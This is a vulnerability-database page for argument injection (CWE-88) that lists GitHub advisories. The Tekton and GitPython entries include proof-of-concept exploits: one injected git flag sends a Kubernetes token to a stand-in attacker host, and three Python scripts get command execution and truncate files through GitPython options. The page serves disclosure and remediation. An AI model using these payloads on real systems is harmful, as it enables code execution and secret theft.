CWE-88
AllowedImproper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Abstraction: Base · Status: Draft
The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.
625 vulnerabilities reference this CWE, most recent first.
GHSA-935R-RFCH-9MR7
Vulnerability from github – Published: 2026-03-20 21:31 – Updated: 2026-07-14 15:31Calling gethostbyaddr or gethostbyaddr_r with a configured nsswitch.conf that specifies the library's DNS backend in the GNU C library version 2.34 to version 2.43 could result in an invalid DNS hostname being returned to the caller in violation of the DNS specification.
{
"affected": [],
"aliases": [
"CVE-2026-4438"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-20T20:16:49Z",
"severity": "MODERATE"
},
"details": "Calling gethostbyaddr or gethostbyaddr_r with a configured nsswitch.conf that specifies the library\u0027s DNS backend in the GNU C library version 2.34 to version 2.43 could result in an invalid DNS hostname being returned to the caller in violation of the DNS specification.",
"id": "GHSA-935r-rfch-9mr7",
"modified": "2026-07-14T15:31:40Z",
"published": "2026-03-20T21:31:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4438"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
},
{
"type": "WEB",
"url": "https://sourceware.org/bugzilla/show_bug.cgi?id=34015"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-93JQ-5GW9-RX3Q
Vulnerability from github – Published: 2026-08-14 21:31 – Updated: 2026-08-14 21:31Semaphore versions prior to 2.18.20 contain an OS command injection (argument injection) vulnerability in the repository git_url handling that allows authenticated users holding the Manager or Owner role on any project to achieve remote code execution on the Semaphore server host. Attackers can craft a malicious git_url value using git's --upload-pack= option to inject and execute arbitrary shell commands when the server processes repository operations using the default cmd_git client.
{
"affected": [],
"aliases": [
"CVE-2026-73682"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-14T21:17:58Z",
"severity": "HIGH"
},
"details": "Semaphore versions prior to 2.18.20 contain an OS command injection (argument injection) vulnerability in the repository git_url handling that allows authenticated users holding the Manager or Owner role on any project to achieve remote code execution on the Semaphore server host. Attackers can craft a malicious git_url value using git\u0027s --upload-pack= option to inject and execute arbitrary shell commands when the server processes repository operations using the default cmd_git client.",
"id": "GHSA-93jq-5gw9-rx3q",
"modified": "2026-08-14T21:31:36Z",
"published": "2026-08-14T21:31:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/semaphoreui/semaphore/security/advisories/GHSA-xp7j-h7jc-4w8p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73682"
},
{
"type": "WEB",
"url": "https://github.com/semaphoreui/semaphore/commit/5d87656a680600125fe78edec1f7a0d10484b52c"
},
{
"type": "WEB",
"url": "https://github.com/semaphoreui/semaphore"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/semaphore-prior-to-version-os-command-injection-via-git-url-repository-handling"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-94JR-7PQP-XHCQ
Vulnerability from github – Published: 2026-04-21 20:28 – Updated: 2026-07-21 13:56Summary
The git resolver's revision parameter is passed directly as a positional argument to git fetch without any validation that it does not begin with a - character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary git fetch flags such as --upload-pack=<binary>. Combined with the validateRepoURL function explicitly permitting URLs that begin with / (local filesystem paths), a tenant who can submit ResolutionRequest objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The tekton-pipelines-resolvers ServiceAccount holds cluster-wide get/list/watch on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration.
Details
Root Cause 1 — Unvalidated revision parameter passed to git fetch
pkg/resolution/resolver/git/repository.go:85:
// pkg/resolution/resolver/git/repository.go lines 84-96
// 'revision' is the raw user-supplied string from the ResolutionRequest param.
// It is passed verbatim as a positional argument to git fetch:
func (repo *repository) checkout(ctx context.Context, revision string) error {
_, err := repo.execGit(ctx, "fetch", "origin", revision, "--depth=1")
// When revision == "--upload-pack=/usr/bin/curl", git parses it as the
// --upload-pack flag, not as a refspec — executing the binary locally.
if err != nil {
return fmt.Errorf("fetch: %w", err)
}
_, err = repo.execGit(ctx, "checkout", "FETCH_HEAD")
return err
}
execGit invokes exec.CommandContext("git", ...) — no shell is used, so shell metacharacters cannot be injected. However, git itself parses flags from mixed positional arguments. When revision = "--upload-pack=/path/to/binary", git receives this as the flag --upload-pack=/path/to/binary, not as a refspec. PopulateDefaultParams (resolver.go:418–424) applies only a leading-slash strip and a containsDotDot check on the pathInRepo parameter; the revision parameter receives no validation at all.
Root Cause 2 — validateRepoURL explicitly permits local filesystem paths
pkg/resolution/resolver/git/resolver.go:154-158:
// validateRepoURL validates if the given URL is a valid git, http, https URL or
// starting with a / (a local repository).
func validateRepoURL(url string) bool {
pattern := `^(/|[^@]+@[^:]+|(git|https?)://)`
re := regexp.MustCompile(pattern)
return re.MatchString(url)
}
Any URL beginning with / passes validation and is used directly as the argument to git clone. This means a local filesystem path such as /tmp/some-repo is a valid resolver URL.
Exploit Chain
--upload-pack=<binary> causes git to execute the specified binary as the upload-pack server when communicating with the remote. For local-path remotes (/path), git invokes the binary on the resolver pod itself with the repository path as its sole argument. Because the argument is passed via exec.Command as a single --upload-pack=<binary> string (not split by a shell), only binaries at known paths can be invoked — but several useful binaries exist in the resolver pod image (e.g., /bin/sh, /usr/bin/curl, /bin/cp).
Attack complexity is High because the exploit requires either:
- A valid git repository at a known, predicable path on the resolver pod (e.g., /tmp/<reponame>-<suffix> from a concurrent resolution), or
- A default-URL configuration pointing at a local path
PoC
# Step 1: Set up a local git repository to serve as the "origin"
# (in a real attack, the attacker would time this against a concurrent clone
# or use any pre-existing git repo path on the resolver pod)
git init /tmp/localrepo && cd /tmp/localrepo && git commit --allow-empty -m "init"
# Step 2: Craft a ResolutionRequest with injected --upload-pack flag
kubectl create -f - <<'EOF'
apiVersion: resolution.tekton.dev/v1beta1
kind: ResolutionRequest
metadata:
name: revision-injection-poc
namespace: default
labels:
resolution.tekton.dev/type: git
spec:
params:
- name: url
value: /tmp/localrepo
- name: revision
value: "--upload-pack=/usr/bin/curl http://c2.attacker.internal/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 -w0)"
- name: pathInRepo
value: README.md
EOF
# The resolver pod executes:
# git -C <tmpdir> fetch origin \
# "--upload-pack=/usr/bin/curl http://c2.attacker.internal/..." \
# --depth=1
#
# For single-argument binaries (/bin/sh, /usr/bin/env, etc.):
# git -C <tmpdir> fetch origin "--upload-pack=/bin/sh" --depth=1
# Executes /bin/sh with the local repository path as argv[1].
# From /bin/sh, the attacker can use a pre-staged script (e.g., written
# via a workspace volume) to achieve arbitrary command execution.
Verified: git fetch origin --upload-pack=/tmp/test-exec.sh --depth=1 executes test-exec.sh on the local machine even when origin is a local filesystem path. Exit code 0 was observed with the test binary executed successfully.
Impact
- Code execution on the resolver pod when an attacker can stage or predict a valid git repository path in
/tmpon the resolver pod. - Full cluster-wide Secret exfiltration: The
tekton-pipelines-resolversServiceAccount is bound to a ClusterRole that grantsget/list/watchon all Secrets in all namespaces (config/resolvers/200-clusterrole.yaml). Code execution on the resolver pod is therefore equivalent to reading every Secret in the cluster. - Privilege escalation: Secrets typically include kubeconfig files, cloud provider credentials, and API tokens — reading them enables lateral movement to cloud infrastructure.
- Both the deprecated resolver (
pkg/resolution/resolver/git/) and the current resolver (pkg/remoteresolution/resolver/git/) share the samevalidateRepoURL,PopulateDefaultParams, andcheckoutimplementation via the sharedgitpackage. Both are affected.
Recommended Fix
Fix 1 — Validate that revision does not begin with - in PopulateDefaultParams:
if strings.HasPrefix(paramsMap[RevisionParam], "-") {
return nil, fmt.Errorf("invalid revision %q: must not begin with '-'", paramsMap[RevisionParam])
}
Fix 2 — Restrict validateRepoURL to remote URLs only (remove local-path support in production builds, or add an explicit admin opt-in feature flag):
func validateRepoURL(url string) bool {
pattern := `^([^@]+@[^:]+|(git|https?)://)`
re := regexp.MustCompile(pattern)
return re.MatchString(url)
}
Applying Fix 1 alone is sufficient to prevent the argument injection. Fix 2 eliminates the enabling condition (local-path remotes for which --upload-pack runs locally) and reduces attack surface further.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/tektoncd/pipeline"
},
"ranges": [
{
"events": [
{
"introduced": "1.10.0"
},
{
"fixed": "1.11.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/tektoncd/pipeline"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.0"
},
{
"fixed": "1.9.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/tektoncd/pipeline"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.0"
},
{
"fixed": "1.6.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/tektoncd/pipeline"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.0"
},
{
"fixed": "1.3.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/tektoncd/pipeline"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40938"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-21T20:28:36Z",
"nvd_published_at": "2026-04-21T21:16:46Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe git resolver\u0027s `revision` parameter is passed directly as a positional argument to `git fetch` without any validation that it does not begin with a `-` character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary `git fetch` flags such as `--upload-pack=\u003cbinary\u003e`. Combined with the `validateRepoURL` function explicitly permitting URLs that begin with `/` (local filesystem paths), a tenant who can submit `ResolutionRequest` objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The `tekton-pipelines-resolvers` ServiceAccount holds cluster-wide `get/list/watch` on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration.\n\n## Details\n\n### Root Cause 1 \u2014 Unvalidated `revision` parameter passed to `git fetch`\n\n`pkg/resolution/resolver/git/repository.go:85`:\n\n```go\n// pkg/resolution/resolver/git/repository.go lines 84-96\n// \u0027revision\u0027 is the raw user-supplied string from the ResolutionRequest param.\n// It is passed verbatim as a positional argument to git fetch:\nfunc (repo *repository) checkout(ctx context.Context, revision string) error {\n _, err := repo.execGit(ctx, \"fetch\", \"origin\", revision, \"--depth=1\")\n // When revision == \"--upload-pack=/usr/bin/curl\", git parses it as the\n // --upload-pack flag, not as a refspec \u2014 executing the binary locally.\n if err != nil {\n return fmt.Errorf(\"fetch: %w\", err)\n }\n _, err = repo.execGit(ctx, \"checkout\", \"FETCH_HEAD\")\n return err\n}\n```\n\n`execGit` invokes `exec.CommandContext(\"git\", ...)` \u2014 no shell is used, so shell metacharacters cannot be injected. However, git itself parses flags from mixed positional arguments. When `revision = \"--upload-pack=/path/to/binary\"`, git receives this as the flag `--upload-pack=/path/to/binary`, not as a refspec. `PopulateDefaultParams` (`resolver.go:418\u2013424`) applies only a leading-slash strip and a `containsDotDot` check on the `pathInRepo` parameter; the `revision` parameter receives no validation at all.\n\n### Root Cause 2 \u2014 `validateRepoURL` explicitly permits local filesystem paths\n\n`pkg/resolution/resolver/git/resolver.go:154-158`:\n\n```go\n// validateRepoURL validates if the given URL is a valid git, http, https URL or\n// starting with a / (a local repository).\nfunc validateRepoURL(url string) bool {\n pattern := `^(/|[^@]+@[^:]+|(git|https?)://)`\n re := regexp.MustCompile(pattern)\n return re.MatchString(url)\n}\n```\n\nAny URL beginning with `/` passes validation and is used directly as the argument to `git clone`. This means a local filesystem path such as `/tmp/some-repo` is a valid resolver URL.\n\n### Exploit Chain\n\n`--upload-pack=\u003cbinary\u003e` causes git to execute the specified binary as the upload-pack server when communicating with the remote. For local-path remotes (`/path`), git invokes the binary on the resolver pod itself with the repository path as its sole argument. Because the argument is passed via `exec.Command` as a single `--upload-pack=\u003cbinary\u003e` string (not split by a shell), only binaries at known paths can be invoked \u2014 but several useful binaries exist in the resolver pod image (e.g., `/bin/sh`, `/usr/bin/curl`, `/bin/cp`).\n\nAttack complexity is High because the exploit requires either:\n- A valid git repository at a known, predicable path on the resolver pod (e.g., `/tmp/\u003creponame\u003e-\u003csuffix\u003e` from a concurrent resolution), or\n- A default-URL configuration pointing at a local path\n\n## PoC\n\n```bash\n# Step 1: Set up a local git repository to serve as the \"origin\"\n# (in a real attack, the attacker would time this against a concurrent clone\n# or use any pre-existing git repo path on the resolver pod)\ngit init /tmp/localrepo \u0026\u0026 cd /tmp/localrepo \u0026\u0026 git commit --allow-empty -m \"init\"\n\n# Step 2: Craft a ResolutionRequest with injected --upload-pack flag\nkubectl create -f - \u003c\u003c\u0027EOF\u0027\napiVersion: resolution.tekton.dev/v1beta1\nkind: ResolutionRequest\nmetadata:\n name: revision-injection-poc\n namespace: default\n labels:\n resolution.tekton.dev/type: git\nspec:\n params:\n - name: url\n value: /tmp/localrepo\n - name: revision\n value: \"--upload-pack=/usr/bin/curl http://c2.attacker.internal/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 -w0)\"\n - name: pathInRepo\n value: README.md\nEOF\n\n# The resolver pod executes:\n# git -C \u003ctmpdir\u003e fetch origin \\\n# \"--upload-pack=/usr/bin/curl http://c2.attacker.internal/...\" \\\n# --depth=1\n#\n# For single-argument binaries (/bin/sh, /usr/bin/env, etc.):\n# git -C \u003ctmpdir\u003e fetch origin \"--upload-pack=/bin/sh\" --depth=1\n# Executes /bin/sh with the local repository path as argv[1].\n# From /bin/sh, the attacker can use a pre-staged script (e.g., written\n# via a workspace volume) to achieve arbitrary command execution.\n```\n\n**Verified**: `git fetch origin --upload-pack=/tmp/test-exec.sh --depth=1` executes `test-exec.sh` on the local machine even when `origin` is a local filesystem path. Exit code 0 was observed with the test binary executed successfully.\n\n## Impact\n\n- **Code execution on the resolver pod** when an attacker can stage or predict a valid git repository path in `/tmp` on the resolver pod.\n- **Full cluster-wide Secret exfiltration**: The `tekton-pipelines-resolvers` ServiceAccount is bound to a ClusterRole that grants `get/list/watch` on all Secrets in all namespaces (`config/resolvers/200-clusterrole.yaml`). Code execution on the resolver pod is therefore equivalent to reading every Secret in the cluster.\n- **Privilege escalation**: Secrets typically include kubeconfig files, cloud provider credentials, and API tokens \u2014 reading them enables lateral movement to cloud infrastructure.\n- Both the deprecated resolver (`pkg/resolution/resolver/git/`) and the current resolver (`pkg/remoteresolution/resolver/git/`) share the same `validateRepoURL`, `PopulateDefaultParams`, and `checkout` implementation via the shared `git` package. Both are affected.\n\n## Recommended Fix\n\n**Fix 1 \u2014 Validate that `revision` does not begin with `-`** in `PopulateDefaultParams`:\n\n```go\nif strings.HasPrefix(paramsMap[RevisionParam], \"-\") {\n return nil, fmt.Errorf(\"invalid revision %q: must not begin with \u0027-\u0027\", paramsMap[RevisionParam])\n}\n```\n\n**Fix 2 \u2014 Restrict `validateRepoURL` to remote URLs only** (remove local-path support in production builds, or add an explicit admin opt-in feature flag):\n\n```go\nfunc validateRepoURL(url string) bool {\n pattern := `^([^@]+@[^:]+|(git|https?)://)`\n re := regexp.MustCompile(pattern)\n return re.MatchString(url)\n}\n```\n\nApplying Fix 1 alone is sufficient to prevent the argument injection. Fix 2 eliminates the enabling condition (local-path remotes for which `--upload-pack` runs locally) and reduces attack surface further.",
"id": "GHSA-94jr-7pqp-xhcq",
"modified": "2026-07-21T13:56:56Z",
"published": "2026-04-21T20:28:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tektoncd/pipeline/security/advisories/GHSA-94jr-7pqp-xhcq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40938"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:17546"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:24359"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:24484"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26519"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26538"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-40938"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460292"
},
{
"type": "PACKAGE",
"url": "https://github.com/tektoncd/pipeline"
},
{
"type": "WEB",
"url": "https://github.com/tektoncd/pipeline/releases/tag/v1.11.1"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-40938.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Tekton Pipeline: Git Resolver Unsanitized Revision Parameter Enables git Argument Injection Leading to RCE"
}
GHSA-94M6-39R7-R5V7
Vulnerability from github – Published: 2025-01-28 00:32 – Updated: 2025-01-28 00:32An argument injection vulnerability in the diagnose and import pac commands in WatchGuard Fireware OS before 12.8.1, 12.1.4, and 12.5.10 allows an authenticated remote attacker with unprivileged credentials to upload or read files to limited, arbitrary locations on WatchGuard Firebox and XTM appliances
{
"affected": [],
"aliases": [
"CVE-2022-31749"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-28T00:15:06Z",
"severity": "MODERATE"
},
"details": "An argument injection vulnerability in the diagnose and import pac commands in WatchGuard Fireware OS before 12.8.1, 12.1.4, and 12.5.10 allows an authenticated remote attacker with unprivileged credentials to upload or read files to limited, arbitrary locations on WatchGuard Firebox and XTM appliances",
"id": "GHSA-94m6-39r7-r5v7",
"modified": "2025-01-28T00:32:15Z",
"published": "2025-01-28T00:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31749"
},
{
"type": "WEB",
"url": "https://www.rapid7.com/blog/post/2022/06/23/cve-2022-31749-watchguard-authenticated-arbitrary-file-read-write-fixed"
},
{
"type": "WEB",
"url": "https://www.watchguard.com/wgrd-psirt/advisory/wgsa-2022-00019"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9557-234J-7RV9
Vulnerability from github – Published: 2026-08-25 03:32 – Updated: 2026-08-25 03:32GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.
{
"affected": [],
"aliases": [
"CVE-2026-78676"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-25T02:16:52Z",
"severity": "CRITICAL"
},
"details": "GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.",
"id": "GHSA-9557-234j-7rv9",
"modified": "2026-08-25T03:32:10Z",
"published": "2026-08-25T03:32:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78676"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-956X-8GVW-WG5V
Vulnerability from github – Published: 2026-07-21 20:10 – Updated: 2026-07-21 20:10Summary
GitPython spawns the real git binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of "unsafe" Git options (--upload-pack, --receive-pack, --exec, -c, --config, …) that can be abused to run arbitrary commands, and enforces them with Git.check_unsafe_options().
That enforcement is only wired into the network commands — clone_from, Remote.fetch, Remote.pull, Remote.push. Several other public APIs that also forward caller-controlled values into the git argv have no guard at all:
-
Repo.archive(ostream, treeish=None, prefix=None, **kwargs)forwards**kwargsverbatim intogit archive. An attacker-influenced options mapping such as{"remote": ".", "exec": "<cmd>"}becomesgit archive --remote=. --exec=<cmd> -- <treeish>, andgit archive --remote=<local repo>invokesgit-upload-archivewhose path is overridden by--exec→ arbitrary command execution under default Git configuration (noprotocol.ext.allowneeded). -
repo.git.ls_remote(<url>, upload_pack="<cmd>")(and the dynamic-command builder generally) turns theupload_packkwarg into--upload-pack=<cmd>with no guard → arbitrary command execution. -
Repo.iter_commits(rev)andRepo.blame(rev, file)place the caller'srevvalue into the argv before the--end-of-options separator and apply no leading-dash check. A benign-looking ref value such as--output=/path/to/fileis parsed bygit rev-list/git blameas the--outputoption, which opens and truncates an arbitrary file before Git even validates the revision → arbitrary file clobber (integrity/availability; can destroy keys, configs, lockfiles, or be aimed at files the host later sources).
The first two are direct code execution; the third is an arbitrary file-overwrite primitive. All share one root cause: the check_unsafe_options / end-of-options discipline that GitPython applies to clone/fetch/pull/push was never extended to these sinks.
Details
GitPython explicitly recognises these options as command-execution vectors. git/remote.py:535:
unsafe_git_fetch_options = [
# Arbitrary command execution.
"--upload-pack",
"--receive-pack",
# Arbitrary file overwrite.
"--exec",
]
and enforces them via Git.check_unsafe_options() (git/cmd.py:963):
def check_unsafe_options(cls, options, unsafe_options):
...
if unsafe_option is not None:
raise UnsafeOptionError(f"{unsafe_option} is not allowed, use `allow_unsafe_options=True` to allow it.")
But check_unsafe_options is invoked from only five sites, all network commands:
git/remote.py:1071 Remote.fetch
git/remote.py:1125 Remote.pull
git/remote.py:1198 Remote.push
git/repo/base.py:1410 / :1412 Repo.clone_from
The following sinks call git with caller-controlled options/positionals and are not guarded:
1. Repo.archive — command execution (git/repo/base.py:1623)
def archive(self, ostream, treeish=None, prefix=None, **kwargs):
...
self.git.archive("--", treeish, *path, **kwargs)
return self
treeish and path are correctly placed after --, but **kwargs are converted by Git.transform_kwarg (git/cmd.py:1487) into --<name>=<value> flags and inserted before the -- by _call_process, with no check_unsafe_options. Repo.archive already documents user-facing kwargs (format, prefix, path), so forwarding a caller options mapping is an expected usage. Final argv:
git archive --remote=. --exec=<cmd> -- <treeish>
git archive --remote=<repo> runs the upload-archive helper; --exec=<cmd> overrides the helper path, executing <cmd> on the host. This works with default Git config — it does not rely on the ext:: transport (which is blocked by default).
2. repo.git.ls_remote(..., upload_pack=...) — command execution (dynamic builder, git/cmd.py:1487)
transform_kwarg dashifies upload_pack → --upload-pack=<value>. git ls-remote <local-repo> --upload-pack=<cmd> executes <cmd>. The dynamic builder makes both the flag name and value caller-controlled (repo.git.<anything>(**user_dict)), and ls_remote has no check_unsafe_options.
This is exactly the underscore-kwarg-vs-hyphen-kwarg gap that CVE-2026-42215 fixed for fetch/pull/push/clone_from — but ls_remote and the rest of the dynamic surface were left unpatched.
3. Repo.iter_commits / Repo.blame — arbitrary file overwrite (git/objects/commit.py:348, git/repo/base.py:1199)
# Commit.iter_items (reached via Repo.iter_commits)
proc = repo.git.rev_list(rev, args_list, as_process=True, **kwargs) # args_list == ["--", *paths]
# Repo.blame
data = self.git.blame(rev, *rev_opts, "--", file, p=True, stdout_as_string=False, **kwargs)
rev is placed before --, with no leading-dash check anywhere in the path. A caller passing rev="--output=/path" (a value that looks like an ordinary ref/branch/tag string an app forwards from user input) produces:
git rev-list --output=/path --
git rev-list/log/blame honour --output=<file>, which open()s and truncates the file before validating the revision — so the file is destroyed even though Git then errors out on the bad revision.
PoC
All three PoCs are self-contained, run against the released GitPython 3.1.50 under default Git configuration, and were executed live (git 2.51.0). Each prints a host-side marker proving the effect.
Install
python3 -m venv venv && . venv/bin/activate
pip install GitPython # resolves to 3.1.50
python -c "import git; print(git.__version__)" # 3.1.50
PoC 1 — command execution via Repo.archive
# archive_rce.py
import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',
'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
marker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker')
if os.path.exists(marker): os.remove(marker)
# a service lets a user export a repo and forwards their options dict
opts = {'remote': '.', 'exec': 'touch ' + marker}
try:
repo.archive(io.BytesIO(), **opts)
except git.exc.GitCommandError as e:
print('[*] git exited non-zero (expected), but the exec already ran:', str(e).splitlines()[0][:60])
print('[+] marker present:', os.path.exists(marker))
Verbatim output:
[*] git exited non-zero (expected), but the exec already ran: Cmd('git') failed due to: exit code(128)
[+] marker present: True
git config --get protocol.ext.allow returns nothing (unset = default), confirming no special config is required.
PoC 2 — command execution via git.ls_remote(upload_pack=...)
# lsremote_rce.py
import os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
marker = os.path.join(tempfile.gettempdir(),'gp_lsr_marker')
if os.path.exists(marker): os.remove(marker)
try:
repo.git.ls_remote('.', upload_pack='touch '+marker+';')
except git.exc.GitCommandError as e:
print('[*] git err:', str(e).splitlines()[0][:50])
print('[+] ls-remote marker present:', os.path.exists(marker))
Verbatim output:
[*] git err: Cmd('git') failed due to: exit code(128)
[+] ls-remote marker present: True
PoC 3 — arbitrary file overwrite via a benign-looking rev
# itercommits_filewrite.py
import os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
victim = os.path.join(tempfile.gettempdir(),'gp_fw_victim')
open(victim,'w').write('do not delete\n')
print('[*] before:', repr(open(victim).read()))
user_ref = '--output=' + victim # value an app forwards as a "ref/branch"
try:
list(repo.iter_commits(user_ref))
except git.exc.GitCommandError as e:
print('[*] git err (after open+truncate):', str(e).splitlines()[0][:50])
print('[+] after :', repr(open(victim).read()), '<- truncated')
Verbatim output:
[*] before: 'do not delete\n'
[*] git err (after open+truncate): Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.50"
},
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.51"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T20:10:06Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nGitPython spawns the real `git` binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of \"unsafe\" Git options (`--upload-pack`, `--receive-pack`, `--exec`, `-c`, `--config`, \u2026) that can be abused to run arbitrary commands, and enforces them with `Git.check_unsafe_options()`.\n\nThat enforcement is only wired into the **network** commands \u2014 `clone_from`, `Remote.fetch`, `Remote.pull`, `Remote.push`. Several other public APIs that also forward caller-controlled values into the `git` argv have **no guard at all**:\n\n1. **`Repo.archive(ostream, treeish=None, prefix=None, **kwargs)`** forwards `**kwargs` verbatim into `git archive`. An attacker-influenced options mapping such as `{\"remote\": \".\", \"exec\": \"\u003ccmd\u003e\"}` becomes `git archive --remote=. --exec=\u003ccmd\u003e -- \u003ctreeish\u003e`, and `git archive --remote=\u003clocal repo\u003e` invokes `git-upload-archive` whose path is overridden by `--exec` \u2192 **arbitrary command execution under default Git configuration** (no `protocol.ext.allow` needed).\n\n2. **`repo.git.ls_remote(\u003curl\u003e, upload_pack=\"\u003ccmd\u003e\")`** (and the dynamic-command builder generally) turns the `upload_pack` kwarg into `--upload-pack=\u003ccmd\u003e` with no guard \u2192 **arbitrary command execution**.\n\n3. 